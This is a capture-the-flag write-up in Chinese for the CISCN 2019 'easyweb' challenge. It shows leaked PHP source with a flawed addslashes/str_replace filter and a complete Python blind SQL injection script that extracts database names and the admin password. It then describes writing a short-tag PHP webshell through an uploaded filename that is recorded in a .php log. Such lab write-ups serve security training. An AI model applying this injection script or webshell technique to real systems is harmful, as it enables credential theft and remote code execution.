BUUOJ ciscn final easyweb

在buu上刷题刷到这个,发现还没找到一个比较详细的wp,决定写一下

线上环境:http://web66.buuoj.cn

docker:https://github.com/glzjin/CISCN_2019_Final_12_Day2_Web1

ps:buu好像最近上了奇安信的waf,导致注入脚本被ban了,只能自己搭个docker接着打

知识点

  • 信息收集+源码泄露
  • addslashes的错误使用导致单引号逃逸
  • sql盲注
  • php短标签写shell

复现过程

首先扫一下路径,可以知道有robots.txt,提示源码泄露,经过乱翻,找到了image.php的备份文件,可以审一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$sql="select * from images where id='{$id}' or path='{$path}'";
if (preg_match("/load/i",$sql))
{
die("What's your problem?");
}
$result=mysqli_query($con,$sql);
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
//secure the path
$count=preg_match("/(\.\.)|(config)/i",$row["path"]);
if ($count>0)
{
die("What's your problem?");
}
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

可以看到,对$id$path进行了addslashes,但是多此一举地又使用了str_replace,根据经验,这里一定是可以绕过的

经过思考,逃逸单引号的payload为\0',经过addslashes之后是\\0\',再str_replace之后是\,会将sql中的$id后边的单引号转义,就可以在$path参数处进行sql注入了,根据有无图片返回可以写出如下布尔盲注的脚本,注意单引号已经被过滤,所以可以采用编码绕过的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import urllib

url = "http://x.x.x.x/image.php?id=-1%\\0'&path=%20union%20select%20*%20from%20images%20where%20id=1%20and "
temp = ''
for i in range(1,50):
print("round:"+str(i))
low = 0
high = 126
while(low<=high):
mid = (low+high)/2
database = "select database()" #ciscn
table = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #images,users
column = "select group_concat(column_name) from information_schema.columns where table_name=0x696d61676573" # username,password
flag = "select group_concat(password) from users where username=0x61646d696e"
payload = "(ascii(substr(("+flag+"),"+str(i)+",1)))>"+str(mid)+" %23"
payload = url + payload
result = requests.get(payload)
if (len(result.content)>0):
low = mid+1
else:
high = mid-1

temp = temp + chr(int(round((low+high+1)/2)))
print(temp.ljust(50, '*'))

得到账号密码就可以登录了,ps:这里我还以为要搜一下md5,结果直接就是密码,这和明文传输有什么区别

登录之后是个文件上传

1565185732828

可以先测一下,随便上传点东西,返回一句话,告诉你把文件名记录在日志里了,这里原题需要脑洞,buu已经直接把日志路径给你了,所以访问一下就可以看到日志

因为是把文件名保存在日志中,而且日志文件还是php,所以可以直接文件名写shell,ps:感觉实际应该不会有这种操作,有点为了出题而出题的感觉

尝试搞一个文件名为php一句话木马的jpg,结果常规的被拦了,可以使用短标签绕过

1565186128215

可以看到短标签的shell已经成功写进去了,直接读flag

1565186340532

0%